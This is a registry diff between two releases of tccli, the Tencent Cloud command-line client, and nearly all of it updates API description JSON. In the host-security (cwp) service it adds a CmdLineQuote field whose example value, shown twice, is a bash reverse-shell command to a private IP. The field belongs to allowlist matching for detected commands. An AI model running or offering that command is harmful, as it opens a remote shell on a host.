tccli 3.0.1295.1__py2.py3-none-any.whl → 3.0.1296.1__py2.py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- tccli/__init__.py +1 -1
- tccli/services/antiddos/v20200309/api.json +123 -116
- tccli/services/bi/v20220105/api.json +17 -17
- tccli/services/bi/v20220105/examples.json +16 -16
- tccli/services/cam/v20190116/api.json +2 -2
- tccli/services/cam/v20190116/examples.json +1 -1
- tccli/services/ccc/v20200210/api.json +35 -17
- tccli/services/cdn/v20180606/api.json +61 -55
- tccli/services/cdn/v20180606/examples.json +11 -11
- tccli/services/cfw/v20190904/api.json +1 -1
- tccli/services/chc/v20230418/api.json +1 -1
- tccli/services/ckafka/v20190819/api.json +3 -3
- tccli/services/cme/v20191029/api.json +522 -501
- tccli/services/cme/v20191029/examples.json +138 -138
- tccli/services/cvm/v20170312/api.json +1 -1
- tccli/services/cwp/v20180228/api.json +40 -0
- tccli/services/cynosdb/v20190107/api.json +15 -15
- tccli/services/domain/v20180808/api.json +5 -5
- tccli/services/dts/v20180330/api.json +2 -2
- tccli/services/dts/v20211206/api.json +14 -14
- tccli/services/ecdn/v20191012/api.json +4 -4
- tccli/services/emr/v20190103/api.json +2 -2
- tccli/services/ess/v20201111/api.json +13 -4
- tccli/services/essbasic/v20210526/api.json +1 -1
- tccli/services/gs/v20191118/api.json +9 -0
- tccli/services/iotcloud/v20210408/api.json +35 -31
- tccli/services/iotcloud/v20210408/examples.json +7 -7
- tccli/services/iotexplorer/v20190423/api.json +20 -0
- tccli/services/iotvideo/v20201215/api.json +4 -4
- tccli/services/iotvideo/v20201215/examples.json +2 -2
- tccli/services/iotvideo/v20211125/api.json +27 -7
- tccli/services/iotvideo/v20211125/examples.json +5 -5
- tccli/services/live/v20180801/api.json +31 -2
- tccli/services/live/v20180801/examples.json +1 -1
- tccli/services/lkeap/v20240522/api.json +10 -0
- tccli/services/mmps/v20200710/api.json +8 -8
- tccli/services/mqtt/v20240516/api.json +82 -43
- tccli/services/mqtt/v20240516/examples.json +7 -7
- tccli/services/ocr/ocr_client.py +16 -175
- tccli/services/ocr/v20181119/api.json +15 -245
- tccli/services/ocr/v20181119/examples.json +1 -25
- tccli/services/partners/partners_client.py +118 -65
- tccli/services/partners/v20180321/api.json +93 -0
- tccli/services/partners/v20180321/examples.json +8 -0
- tccli/services/sqlserver/v20180328/api.json +37 -0
- tccli/services/tag/v20180813/api.json +75 -73
- tccli/services/tag/v20180813/examples.json +10 -10
- tccli/services/tdid/v20210519/api.json +12 -12
- tccli/services/tdmq/tdmq_client.py +0 -53
- tccli/services/tdmq/v20200217/api.json +0 -52
- tccli/services/tdmq/v20200217/examples.json +0 -8
- tccli/services/thpc/v20230321/api.json +10 -0
- tccli/services/tke/v20180525/api.json +5 -5
- tccli/services/tke/v20180525/examples.json +1 -1
- tccli/services/trtc/v20190722/api.json +19 -0
- tccli/services/vod/v20180717/api.json +732 -670
- tccli/services/vod/v20180717/examples.json +31 -31
- tccli/services/vpc/v20170312/api.json +53 -53
- tccli/services/vpc/v20170312/examples.json +5 -5
- {tccli-3.0.1295.1.dist-info → tccli-3.0.1296.1.dist-info}/METADATA +2 -2
- {tccli-3.0.1295.1.dist-info → tccli-3.0.1296.1.dist-info}/RECORD +64 -64
- {tccli-3.0.1295.1.dist-info → tccli-3.0.1296.1.dist-info}/WHEEL +0 -0
- {tccli-3.0.1295.1.dist-info → tccli-3.0.1296.1.dist-info}/entry_points.txt +0 -0
- {tccli-3.0.1295.1.dist-info → tccli-3.0.1296.1.dist-info}/license_files/LICENSE +0 -0
|
@@ -526,7 +526,7 @@
|
|
|
526
526
|
"status": "online"
|
|
527
527
|
},
|
|
528
528
|
"ModifyInstanceDiskType": {
|
|
529
|
-
"document": "本接口 (ModifyInstanceDiskType) 用于修改实例硬盘介质类型。\n\n* 只支持实例的本地系统盘、本地数据盘转化成指定云硬盘介质。\n* 只支持实例在关机状态下转换成指定云硬盘介质。\n* 不支持竞价实例类型。\n* 若实例同时存在本地系统盘和本地数据盘，需同时调整系统盘和数据盘的介质类型，不支持单独针对本地系统盘或本地数据盘修改介质类型。\n* 修改前请确保账户余额充足。可通过[DescribeAccountBalance](https://cloud.tencent.com/document/product/
|
|
529
|
+
"document": "本接口 (ModifyInstanceDiskType) 用于修改实例硬盘介质类型。\n\n* 只支持实例的本地系统盘、本地数据盘转化成指定云硬盘介质。\n* 只支持实例在关机状态下转换成指定云硬盘介质。\n* 不支持竞价实例类型。\n* 若实例同时存在本地系统盘和本地数据盘，需同时调整系统盘和数据盘的介质类型，不支持单独针对本地系统盘或本地数据盘修改介质类型。\n* 修改前请确保账户余额充足。可通过[DescribeAccountBalance](https://cloud.tencent.com/document/product/555/20253)接口查询账户余额。",
|
|
530
530
|
"input": "ModifyInstanceDiskTypeRequest",
|
|
531
531
|
"name": "修改实例的硬盘介质",
|
|
532
532
|
"output": "ModifyInstanceDiskTypeResponse",
|
|
@@ -53344,6 +53344,16 @@
|
|
|
53344
53344
|
"output_required": true,
|
|
53345
53345
|
"type": "int",
|
|
53346
53346
|
"value_allowed_null": false
|
|
53347
|
+
},
|
|
53348
|
+
{
|
|
53349
|
+
"disabled": false,
|
|
53350
|
+
"document": "命令详情的转义后内容，供正则加白全字符串匹配使用\t",
|
|
53351
|
+
"example": "sh -c bash -i >& /dev/tcp/10\\.1\\.1\\.28/1226 0>&1",
|
|
53352
|
+
"member": "string",
|
|
53353
|
+
"name": "CmdLineQuote",
|
|
53354
|
+
"output_required": false,
|
|
53355
|
+
"type": "string",
|
|
53356
|
+
"value_allowed_null": false
|
|
53347
53357
|
}
|
|
53348
53358
|
],
|
|
53349
53359
|
"usage": "out"
|
|
@@ -53620,6 +53630,16 @@
|
|
|
53620
53630
|
"output_required": true,
|
|
53621
53631
|
"type": "string",
|
|
53622
53632
|
"value_allowed_null": false
|
|
53633
|
+
},
|
|
53634
|
+
{
|
|
53635
|
+
"disabled": false,
|
|
53636
|
+
"document": "命令详情的转义后内容，供正则加白全字符串匹配使用",
|
|
53637
|
+
"example": "sh -c bash -i >& /dev/tcp/10\\.1\\.1\\.28/1226 0>&1\t",
|
|
53638
|
+
"member": "string",
|
|
53639
|
+
"name": "CmdLineQuote",
|
|
53640
|
+
"output_required": false,
|
|
53641
|
+
"type": "string",
|
|
53642
|
+
"value_allowed_null": false
|
|
53623
53643
|
}
|
|
53624
53644
|
],
|
|
53625
53645
|
"usage": "out"
|
|
@@ -54776,6 +54796,26 @@
|
|
|
54776
54796
|
"ScanTaskAgainResponse": {
|
|
54777
54797
|
"document": "ScanTaskAgain返回参数结构体",
|
|
54778
54798
|
"members": [
|
|
54799
|
+
{
|
|
54800
|
+
"disabled": false,
|
|
54801
|
+
"document": "下发成功的主机数",
|
|
54802
|
+
"example": "2",
|
|
54803
|
+
"member": "uint64",
|
|
54804
|
+
"name": "SuccessCount",
|
|
54805
|
+
"output_required": false,
|
|
54806
|
+
"type": "int",
|
|
54807
|
+
"value_allowed_null": false
|
|
54808
|
+
},
|
|
54809
|
+
{
|
|
54810
|
+
"disabled": false,
|
|
54811
|
+
"document": "基础版(不支持扫描)主机数",
|
|
54812
|
+
"example": "3",
|
|
54813
|
+
"member": "uint64",
|
|
54814
|
+
"name": "BasicVersionCount",
|
|
54815
|
+
"output_required": false,
|
|
54816
|
+
"type": "int",
|
|
54817
|
+
"value_allowed_null": false
|
|
54818
|
+
},
|
|
54779
54819
|
{
|
|
54780
54820
|
"document": "唯一请求 ID，由服务端生成，每次请求都会返回（若请求因其他原因未能抵达服务端，则该次请求不会获得 RequestId）。定位问题时需要提供该次请求的 RequestId。",
|
|
54781
54821
|
"member": "string",
|
|
@@ -2200,13 +2200,13 @@
|
|
|
2200
2200
|
},
|
|
2201
2201
|
{
|
|
2202
2202
|
"disabled": false,
|
|
2203
|
-
"document": "
|
|
2203
|
+
"document": "规则模板描述。",
|
|
2204
2204
|
"example": "规则模板描述",
|
|
2205
2205
|
"member": "string",
|
|
2206
2206
|
"name": "Description",
|
|
2207
2207
|
"output_required": true,
|
|
2208
2208
|
"type": "string",
|
|
2209
|
-
"value_allowed_null":
|
|
2209
|
+
"value_allowed_null": false
|
|
2210
2210
|
},
|
|
2211
2211
|
{
|
|
2212
2212
|
"disabled": false,
|
|
@@ -2220,53 +2220,53 @@
|
|
|
2220
2220
|
},
|
|
2221
2221
|
{
|
|
2222
2222
|
"disabled": false,
|
|
2223
|
-
"document": "
|
|
2223
|
+
"document": "规则模板修改时间。",
|
|
2224
2224
|
"example": "2022-11-15 12:00:00",
|
|
2225
2225
|
"member": "string",
|
|
2226
2226
|
"name": "UpdateAt",
|
|
2227
2227
|
"output_required": false,
|
|
2228
2228
|
"type": "string",
|
|
2229
|
-
"value_allowed_null":
|
|
2229
|
+
"value_allowed_null": false
|
|
2230
2230
|
},
|
|
2231
2231
|
{
|
|
2232
2232
|
"disabled": false,
|
|
2233
|
-
"document": "告警等级。1-低风险，2-中风险，3
|
|
2233
|
+
"document": "告警等级。1-低风险，2-中风险，3-高风险。",
|
|
2234
2234
|
"example": "1",
|
|
2235
2235
|
"member": "uint64",
|
|
2236
2236
|
"name": "AlarmLevel",
|
|
2237
2237
|
"output_required": false,
|
|
2238
2238
|
"type": "int",
|
|
2239
|
-
"value_allowed_null":
|
|
2239
|
+
"value_allowed_null": false
|
|
2240
2240
|
},
|
|
2241
2241
|
{
|
|
2242
2242
|
"disabled": false,
|
|
2243
|
-
"document": "告警策略。0-不告警，1
|
|
2243
|
+
"document": "告警策略。0-不告警，1-告警。",
|
|
2244
2244
|
"example": "0",
|
|
2245
2245
|
"member": "uint64",
|
|
2246
2246
|
"name": "AlarmPolicy",
|
|
2247
2247
|
"output_required": false,
|
|
2248
2248
|
"type": "int",
|
|
2249
|
-
"value_allowed_null":
|
|
2249
|
+
"value_allowed_null": false
|
|
2250
2250
|
},
|
|
2251
2251
|
{
|
|
2252
2252
|
"disabled": false,
|
|
2253
|
-
"document": "模板状态。0-无任务 ，1
|
|
2253
|
+
"document": "模板状态。0-无任务 ，1-修改中。",
|
|
2254
2254
|
"example": "0",
|
|
2255
2255
|
"member": "uint64",
|
|
2256
2256
|
"name": "Status",
|
|
2257
2257
|
"output_required": false,
|
|
2258
2258
|
"type": "int",
|
|
2259
|
-
"value_allowed_null":
|
|
2259
|
+
"value_allowed_null": false
|
|
2260
2260
|
},
|
|
2261
2261
|
{
|
|
2262
2262
|
"disabled": false,
|
|
2263
|
-
"document": "
|
|
2263
|
+
"document": "规则模板应用在哪些在实例。",
|
|
2264
2264
|
"example": "[\"cynosdbmysql-ins-6dgls111\",\"cynosdbmysql-ins-6dgls222\"]",
|
|
2265
2265
|
"member": "string",
|
|
2266
2266
|
"name": "AffectedInstances",
|
|
2267
2267
|
"output_required": false,
|
|
2268
2268
|
"type": "list",
|
|
2269
|
-
"value_allowed_null":
|
|
2269
|
+
"value_allowed_null": false
|
|
2270
2270
|
}
|
|
2271
2271
|
],
|
|
2272
2272
|
"usage": "out"
|
|
@@ -8707,13 +8707,13 @@
|
|
|
8707
8707
|
},
|
|
8708
8708
|
{
|
|
8709
8709
|
"disabled": false,
|
|
8710
|
-
"document": "
|
|
8711
|
-
"example": "[{\
|
|
8710
|
+
"document": "规则模板详细信息列表。",
|
|
8711
|
+
"example": "[{ \t\"AlarmLevel\": 1, \t\"AlarmPolicy\": 0 }]",
|
|
8712
8712
|
"member": "AuditRuleTemplateInfo",
|
|
8713
8713
|
"name": "Items",
|
|
8714
8714
|
"output_required": true,
|
|
8715
8715
|
"type": "list",
|
|
8716
|
-
"value_allowed_null":
|
|
8716
|
+
"value_allowed_null": false
|
|
8717
8717
|
},
|
|
8718
8718
|
{
|
|
8719
8719
|
"document": "唯一请求 ID，由服务端生成，每次请求都会返回（若请求因其他原因未能抵达服务端，则该次请求不会获得 RequestId）。定位问题时需要提供该次请求的 RequestId。",
|
|
@@ -2917,7 +2917,7 @@
|
|
|
2917
2917
|
"members": [
|
|
2918
2918
|
{
|
|
2919
2919
|
"disabled": false,
|
|
2920
|
-
"document": "
|
|
2920
|
+
"document": "查询指定域名后缀的域名价格列表，若不指定域名后缀，默认查询所有后缀的域名价格列表。",
|
|
2921
2921
|
"example": "[\".com\"]",
|
|
2922
2922
|
"member": "string",
|
|
2923
2923
|
"name": "TldList",
|
|
@@ -2926,7 +2926,7 @@
|
|
|
2926
2926
|
},
|
|
2927
2927
|
{
|
|
2928
2928
|
"disabled": false,
|
|
2929
|
-
"document": "
|
|
2929
|
+
"document": "查询购买的年份，默认会列出所有年份的价格，可选值【1,10】",
|
|
2930
2930
|
"example": "1",
|
|
2931
2931
|
"member": "int64",
|
|
2932
2932
|
"name": "Year",
|
|
@@ -2935,7 +2935,7 @@
|
|
|
2935
2935
|
},
|
|
2936
2936
|
{
|
|
2937
2937
|
"disabled": false,
|
|
2938
|
-
"document": "
|
|
2938
|
+
"document": "域名的购买类型：\nnew 新购\nrenew 续费\nredem 赎回\ntran 转入",
|
|
2939
2939
|
"example": "new",
|
|
2940
2940
|
"member": "string",
|
|
2941
2941
|
"name": "Operation",
|
|
@@ -2973,7 +2973,7 @@
|
|
|
2973
2973
|
{
|
|
2974
2974
|
"disabled": false,
|
|
2975
2975
|
"document": "域名",
|
|
2976
|
-
"example": "
|
|
2976
|
+
"example": "test.com",
|
|
2977
2977
|
"member": "string",
|
|
2978
2978
|
"name": "DomainName",
|
|
2979
2979
|
"required": true,
|
|
@@ -2988,7 +2988,7 @@
|
|
|
2988
2988
|
{
|
|
2989
2989
|
"disabled": false,
|
|
2990
2990
|
"document": "域名信息",
|
|
2991
|
-
"example": "
|
|
2991
|
+
"example": "无",
|
|
2992
2992
|
"member": "DomainSimpleInfo",
|
|
2993
2993
|
"name": "DomainInfo",
|
|
2994
2994
|
"output_required": true,
|
|
@@ -1662,13 +1662,13 @@
|
|
|
1662
1662
|
},
|
|
1663
1663
|
{
|
|
1664
1664
|
"disabled": false,
|
|
1665
|
-
"document": "
|
|
1665
|
+
"document": "标签",
|
|
1666
1666
|
"example": "无",
|
|
1667
1667
|
"member": "TagItem",
|
|
1668
1668
|
"name": "Tags",
|
|
1669
1669
|
"output_required": true,
|
|
1670
1670
|
"type": "list",
|
|
1671
|
-
"value_allowed_null":
|
|
1671
|
+
"value_allowed_null": false
|
|
1672
1672
|
},
|
|
1673
1673
|
{
|
|
1674
1674
|
"disabled": false,
|
|
@@ -5575,14 +5575,14 @@
|
|
|
5575
5575
|
},
|
|
5576
5576
|
{
|
|
5577
5577
|
"disabled": false,
|
|
5578
|
-
"document": "列名。如果 RuleType 为 cols，此项必填。订阅任务会用该列的值计算分区。mongo
|
|
5578
|
+
"document": "列名。如果 RuleType 为 cols，此项必填。订阅任务会用该列的值计算分区。mongo没有按列分区，因此也不用传这个字段。",
|
|
5579
5579
|
"example": "[\"id\"]",
|
|
5580
5580
|
"member": "string",
|
|
5581
5581
|
"name": "Columns",
|
|
5582
5582
|
"output_required": true,
|
|
5583
5583
|
"required": false,
|
|
5584
5584
|
"type": "list",
|
|
5585
|
-
"value_allowed_null":
|
|
5585
|
+
"value_allowed_null": false
|
|
5586
5586
|
}
|
|
5587
5587
|
],
|
|
5588
5588
|
"usage": "both"
|
|
@@ -8869,13 +8869,13 @@
|
|
|
8869
8869
|
},
|
|
8870
8870
|
{
|
|
8871
8871
|
"disabled": false,
|
|
8872
|
-
"document": "
|
|
8872
|
+
"document": "跳过校验的表详情",
|
|
8873
8873
|
"example": "无",
|
|
8874
8874
|
"member": "SkippedItem",
|
|
8875
8875
|
"name": "Items",
|
|
8876
8876
|
"output_required": true,
|
|
8877
8877
|
"type": "list",
|
|
8878
|
-
"value_allowed_null":
|
|
8878
|
+
"value_allowed_null": false
|
|
8879
8879
|
}
|
|
8880
8880
|
],
|
|
8881
8881
|
"usage": "out"
|
|
@@ -9255,58 +9255,58 @@
|
|
|
9255
9255
|
"members": [
|
|
9256
9256
|
{
|
|
9257
9257
|
"disabled": false,
|
|
9258
|
-
"document": "
|
|
9258
|
+
"document": "错误码",
|
|
9259
9259
|
"example": "Error: OptimizeCheck",
|
|
9260
9260
|
"member": "string",
|
|
9261
9261
|
"name": "Code",
|
|
9262
9262
|
"output_required": true,
|
|
9263
9263
|
"required": false,
|
|
9264
9264
|
"type": "string",
|
|
9265
|
-
"value_allowed_null":
|
|
9265
|
+
"value_allowed_null": false
|
|
9266
9266
|
},
|
|
9267
9267
|
{
|
|
9268
9268
|
"disabled": false,
|
|
9269
|
-
"document": "
|
|
9269
|
+
"document": "错误信息",
|
|
9270
9270
|
"example": "修改目标库session级别explicit_defaults_for_timestamp参数为`ON`失败，错误信息详情",
|
|
9271
9271
|
"member": "string",
|
|
9272
9272
|
"name": "Message",
|
|
9273
9273
|
"output_required": true,
|
|
9274
9274
|
"required": false,
|
|
9275
9275
|
"type": "string",
|
|
9276
|
-
"value_allowed_null":
|
|
9276
|
+
"value_allowed_null": false
|
|
9277
9277
|
},
|
|
9278
9278
|
{
|
|
9279
9279
|
"disabled": false,
|
|
9280
|
-
"document": "
|
|
9280
|
+
"document": "解决方式",
|
|
9281
9281
|
"example": "尝试以下解决方案：1.xxx，2.xxx",
|
|
9282
9282
|
"member": "string",
|
|
9283
9283
|
"name": "Solution",
|
|
9284
9284
|
"output_required": true,
|
|
9285
9285
|
"required": false,
|
|
9286
9286
|
"type": "string",
|
|
9287
|
-
"value_allowed_null":
|
|
9287
|
+
"value_allowed_null": false
|
|
9288
9288
|
},
|
|
9289
9289
|
{
|
|
9290
9290
|
"disabled": false,
|
|
9291
|
-
"document": "
|
|
9291
|
+
"document": "帮助文档",
|
|
9292
9292
|
"example": "周边检查: cloud.tencent.com/document/product/571/58690",
|
|
9293
9293
|
"member": "string",
|
|
9294
9294
|
"name": "HelpDoc",
|
|
9295
9295
|
"output_required": true,
|
|
9296
9296
|
"required": false,
|
|
9297
9297
|
"type": "string",
|
|
9298
|
-
"value_allowed_null":
|
|
9298
|
+
"value_allowed_null": false
|
|
9299
9299
|
},
|
|
9300
9300
|
{
|
|
9301
9301
|
"disabled": false,
|
|
9302
|
-
"document": "
|
|
9302
|
+
"document": "当前步骤跳过信息",
|
|
9303
9303
|
"example": "如果目标库explicit_defaults_for_timestamp参数不为`ON`，timestamp列的隐式转换规则可能会导致源库和目标库结构不一致",
|
|
9304
9304
|
"member": "string",
|
|
9305
9305
|
"name": "SkipInfo",
|
|
9306
9306
|
"output_required": true,
|
|
9307
9307
|
"required": false,
|
|
9308
9308
|
"type": "string",
|
|
9309
|
-
"value_allowed_null":
|
|
9309
|
+
"value_allowed_null": false
|
|
9310
9310
|
}
|
|
9311
9311
|
],
|
|
9312
9312
|
"usage": "both"
|
|
@@ -43,18 +43,18 @@
|
|
|
43
43
|
"status": "online"
|
|
44
44
|
},
|
|
45
45
|
"DescribePurgeTasks": {
|
|
46
|
-
"document": "
|
|
46
|
+
"document": "ECDN即将下线，如需要动态加速请使用EdgeOne\n\nDescribePurgeTasks 用于查询刷新任务提交历史记录及执行进度。\n\n>? 若您的业务已迁移至 CDN 控制台，请参考<a href=\"https://cloud.tencent.com/document/api/228/37873\"> CDN 接口文档</a>，使用 CDN 相关API 进行操作。",
|
|
47
47
|
"input": "DescribePurgeTasksRequest",
|
|
48
48
|
"name": "刷新历史查询",
|
|
49
49
|
"output": "DescribePurgeTasksResponse",
|
|
50
|
-
"status": "
|
|
50
|
+
"status": "deprecated"
|
|
51
51
|
},
|
|
52
52
|
"PurgeUrlsCache": {
|
|
53
|
-
"document": "
|
|
53
|
+
"document": "ECDN即将下线，如需要动态加速请使用EdgeOne\n\nPurgeUrlsCache 用于批量刷新Url，一次提交将返回一个刷新任务id。\n\n>? 若您的业务已迁移至 CDN 控制台，请参考<a href=\"https://cloud.tencent.com/document/api/228/37870\"> CDN 接口文档</a>，使用 CDN 相关API 进行操作。",
|
|
54
54
|
"input": "PurgeUrlsCacheRequest",
|
|
55
55
|
"name": "刷新 URL",
|
|
56
56
|
"output": "PurgeUrlsCacheResponse",
|
|
57
|
-
"status": "
|
|
57
|
+
"status": "deprecated"
|
|
58
58
|
}
|
|
59
59
|
},
|
|
60
60
|
"metadata": {
|
|
@@ -15972,7 +15972,7 @@
|
|
|
15972
15972
|
},
|
|
15973
15973
|
{
|
|
15974
15974
|
"disabled": false,
|
|
15975
|
-
"document": "扩容所选资源类型，可选范围为\"
|
|
15975
|
+
"document": "扩容所选资源类型，可选范围为\"HOST\",\"POD\",\"MNode\"，HOST为普通的CVM资源，POD为TKE集群或EKS集群提供的资源,MNode为全托管资源类型",
|
|
15976
15976
|
"example": "HOST",
|
|
15977
15977
|
"member": "string",
|
|
15978
15978
|
"name": "HardwareSourceType",
|
|
@@ -16266,7 +16266,7 @@
|
|
|
16266
16266
|
},
|
|
16267
16267
|
{
|
|
16268
16268
|
"disabled": false,
|
|
16269
|
-
"document": "扩容所选资源类型，可选范围为\"
|
|
16269
|
+
"document": "扩容所选资源类型，可选范围为\"HOST\",\"POD\",\"MNode\"，HOST为普通的CVM资源，POD为TKE集群或EKS集群提供的资源,MNode为全托管资源类型",
|
|
16270
16270
|
"example": "HOST",
|
|
16271
16271
|
"member": "string",
|
|
16272
16272
|
"name": "HardwareResourceType",
|
|
@@ -470,7 +470,7 @@
|
|
|
470
470
|
"status": "online"
|
|
471
471
|
},
|
|
472
472
|
"DescribeExtendedServiceAuthInfos": {
|
|
473
|
-
"document": "查询企业扩展服务的开通和授权情况，当前支持查询以下内容：\n\n1. **企业自动签署**\n2. **批量签署授权**\n3. **企业与港澳台居民签署合同**\n4. **拓宽签署方年龄限制**\n5. **个人签署方仅校验手机号**\n6. **隐藏合同经办人姓名**\n7. **正楷临摹签名失败后更换其他签名类型**\n8. **短信通知签署方**\n9.
|
|
473
|
+
"document": "查询企业扩展服务的开通和授权情况，当前支持查询以下内容：\n\n1. **企业自动签署**\n2. **批量签署授权**\n3. **企业与港澳台居民签署合同**\n4. **拓宽签署方年龄限制**\n5. **个人签署方仅校验手机号**\n6. **隐藏合同经办人姓名**\n7. **正楷临摹签名失败后更换其他签名类型**\n8. **短信通知签署方**\n9. **个人签署方手写签名时需逐个手写**\n10. **签署密码开通引导**\n11. **个人签署方手动签名**\n12. **限制企业员工小程序端登录**\n13. **限制企业员工网页端登录**\n\n\n对应能力开通页面在Web控制台-更多-企业设置-拓展服务，如下图所示:\n\n\n\n注: <font color='red'>所在企业的超管、法人才有权限调用此接口</font>(Operator.UserId需要传递超管或者法人的UserId)",
|
|
474
474
|
"input": "DescribeExtendedServiceAuthInfosRequest",
|
|
475
475
|
"name": "查询企业扩展服务授权信息",
|
|
476
476
|
"output": "DescribeExtendedServiceAuthInfosResponse",
|
|
@@ -2120,7 +2120,7 @@
|
|
|
2120
2120
|
},
|
|
2121
2121
|
{
|
|
2122
2122
|
"disabled": false,
|
|
2123
|
-
"document": "**在所有的定位方式下**，控件的扩展参数，为<font color=\"red\">JSON格式</font>，不同类型的控件会有部分非通用参数。\n\n<font color=\"red\">ComponentType为TEXT、MULTI_LINE_TEXT时</font>，支持以下参数：\n<ul><li> <b>Font</b>：目前只支持黑体、宋体、仿宋</li>\n<li> <b>FontSize</b>： 范围
|
|
2123
|
+
"document": "\n**在所有的定位方式下**，控件的扩展参数，为<font color=\"red\">JSON格式</font>，不同类型的控件会有部分非通用参数。\n\n<font color=\"red\">ComponentType为TEXT、MULTI_LINE_TEXT时</font>，支持以下参数：\n<ul><li> <b>Font</b>：目前只支持黑体、宋体、仿宋</li>\n<li> <b>FontSize</b>： 范围6 :72</li>\n<li> <b>FontAlign</b>： Left/Right/Center，左对齐/居中/右对齐</li>\n<li> <b>FontColor</b>：字符串类型，格式为RGB颜色数字</li></ul>\n<b>参数样例</b>：`{\"FontColor\":\"255,0,0\",\"FontSize\":12}`\n\n<font color=\"red\">ComponentType为DATE时</font>，支持以下参数：\n<ul><li> <b>Font</b>：目前只支持黑体、宋体、仿宋</li>\n<li> <b>FontSize</b>： 范围6 :72</li></ul>\n<b>参数样例</b>：`{\"FontColor\":\"255,0,0\",\"FontSize\":12}`\n\n<font color=\"red\">ComponentType为WATERMARK时</font>，支持以下参数：\n<ul><li> <b>Font</b>：目前只支持黑体、宋体、仿宋</li>\n<li> <b>FontSize</b>： 范围6 :24</li>\n<li> <b>Opacity</b>： 透明度，范围0 :1</li>\n<li> <b>Density</b>： 水印样式，1-宽松，2-标准（默认值），3-密集，</li>\n<li> <b>SubType</b>： 水印类型：CUSTOM_WATERMARK-自定义内容，PERSON_INFO_WATERMARK-访问者信息</li></ul>\n<b>参数样例</b>：`\"{\\\"Font\\\":\\\"黑体\\\",\\\"FontSize\\\":20,\\\"Opacity\\\":0.1,\\\"Density\\\":2,\\\"SubType\\\":\\\"PERSON_INFO_WATERMARK\\\"}\"`\n\n<font color=\"red\">ComponentType为FILL_IMAGE时</font>，支持以下参数：\n<ul><li> <b>NotMakeImageCenter</b>：bool。是否设置图片居中。false：居中（默认）。 true : 不居中</li>\n<li> <b>FillMethod</b> : int. 填充方式。0-铺满（默认）；1-等比例缩放</li></ul>\n\n<font color=\"red\">ComponentType为SIGN_SIGNATURE类型时</font>，可以通过**ComponentTypeLimit**参数控制签名方式\n<ul><li> <b>HANDWRITE</b> : 需要实时手写的手写签名</li>\n<li> <b>HANDWRITTEN_ESIGN</b> : 长效手写签名， 是使用保存到个人中心的印章列表的手写签名(并且包含HANDWRITE)</li>\n<li> <b>OCR_ESIGN</b> : AI智能识别手写签名</li>\n<li> <b>ESIGN</b> : 个人印章类型</li>\n<li> <b>SYSTEM_ESIGN</b> : 系统签名（该类型可以在用户签署时根据用户姓名一键生成一个签名来进行签署）</li>\n<li> <b>IMG_ESIGN</b> : 图片印章(该类型支持用户在签署将上传的PNG格式的图片作为签名)</li></ul>\n<b>参考样例</b>：`{\"ComponentTypeLimit\": [\"SYSTEM_ESIGN\"]}`\n印章的对应关系参考下图\n<br><br>\n\n<font color=\"red\">ComponentType为SIGN_SEAL 或者 SIGN_PAGING_SEAL类型时</font>，可以通过**ComponentTypeLimit**参数控制签署方签署时要使用的印章类型，支持指定以下印章类型\n<ul><li> <b>OFFICIAL</b> : 企业公章</li>\n<li> <b>CONTRACT</b> : 合同专用章</li>\n<li> <b>FINANCE</b> : 财务专用章</li>\n<li> <b>PERSONNEL</b> : 人事专用章</li>\n<li> <b>OTHER</b> : 其他</li>\n</ul>\n<b>参考样例</b>：`{\\\"ComponentTypeLimit\\\":[\\\"PERSONNEL\\\",\\\"FINANCE\\\"]}` 表示改印章签署区,客户需使用人事专用章或财务专用章盖章签署。<br><br>\n\n<font color=\"red\">ComponentType为SIGN_DATE时</font>，支持以下参数：\n<ul><li> <b>Font</b> :字符串类型目前只支持\"黑体\"、\"宋体\"、\"仿宋\"，如果不填默认为\"黑体\"</li>\n<li> <b>FontSize</b> : 数字类型，范围6-72，默认值为12</li>\n<li> <b>FontAlign</b> : 字符串类型，可取Left/Right/Center，对应左对齐/居中/右对齐</li>\n<li> <b>Format</b> : 字符串类型，日期格式，必须是以下五种之一 “yyyy m d”，”yyyy年m月d日”，”yyyy/m/d”，”yyyy-m-d”，”yyyy.m.d”。</li>\n<li> <b>Gaps</b> : 字符串类型，仅在Format为“yyyy m d”时起作用，格式为用逗号分开的两个整数，例如”2,2”，两个数字分别是日期格式的前后两个空隙中的空格个数</li></ul>\n如果extra参数为空，默认为”yyyy年m月d日”格式的居中日期\n特别地，如果extra中Format字段为空或无法被识别，则extra参数会被当作默认值处理（Font，FontSize，Gaps和FontAlign都不会起效）\n<b>参数样例</b>： ` \"{\"Format\":\"yyyy m d\",\"FontSize\":12,\"Gaps\":\"2,2\", \"FontAlign\":\"Right\"}\"`\n\n<font color=\"red\">ComponentType为SIGN_SEAL、SIGN_SIGNATURE类型时</font>，支持以下参数：\n<ul><li> <b>PageRanges</b> :PageRange的数组，通过PageRanges属性设置该印章在PDF所有页面上盖章（适用于标书在所有页面盖章的情况）</li></ul>\n<b>参数样例</b>：` \"{\"PageRanges\":[{\"BeginPage\":1,\"EndPage\":-1}]}\"`\n\n<font color=\"red\">签署印章透明度功能设置，</font>当ComponentType为SIGN_SIGNATURE、SIGN_SEAL、SIGN_PAGING_SEAL、SIGN_LEGAL_PERSON_SEAL时，可以通过以下参数设置签署印章的透明度：\n<ul><li> <b>Opacity</b>：印章透明度，支持范围：0.6-1，0.7表示70%的透明度，1表示无透明度</li></ul>\n<b>参数样例</b>：`{\"Opacity\":0.7}`\n\n<font color=\"red\">签署印章大小功能设置，</font>当ComponentType为SIGN_SEAL、SIGN_PAGING_SEAL、SIGN_LEGAL_PERSON_SEAL时，可以通过以下参数设置签署时按照实际印章的大小进行签署，如果印章没有设置大小，那么默认会是4.2cm的印章大小：\n<ul><li> <b>UseSealSize</b>：使用印章设置的大小盖章，true表示使用印章设置的大小盖章，false表示使用签署控件的大小进行盖章；不传则为false</li></ul>\n<b>参数样例</b>：`{\"UseSealSize\":true}`\n\n<font color=\"red\">关键字模式下支持关键字找不到的情况下不进行报错的设置</font>\n<ul><li> <b>IgnoreKeywordError</b> :1-关键字查找不到时不进行报错</li></ul>\n场景说明：如果使用关键字进行定位，但是指定的PDF文件中又没有设置的关键字时，发起合同会进行关键字是否存在的校验，如果关键字不存在，会进行报错返回。如果不希望进行报错，可以设置\"IgnoreKeywordError\"来忽略错误。请注意，如果关键字签署控件对应的签署方在整个PDF文件中一个签署控件都没有，还是会触发报错逻辑。\n<b>参数样例</b>：` \"{\"IgnoreKeywordError\":1}\"`\n\n<font 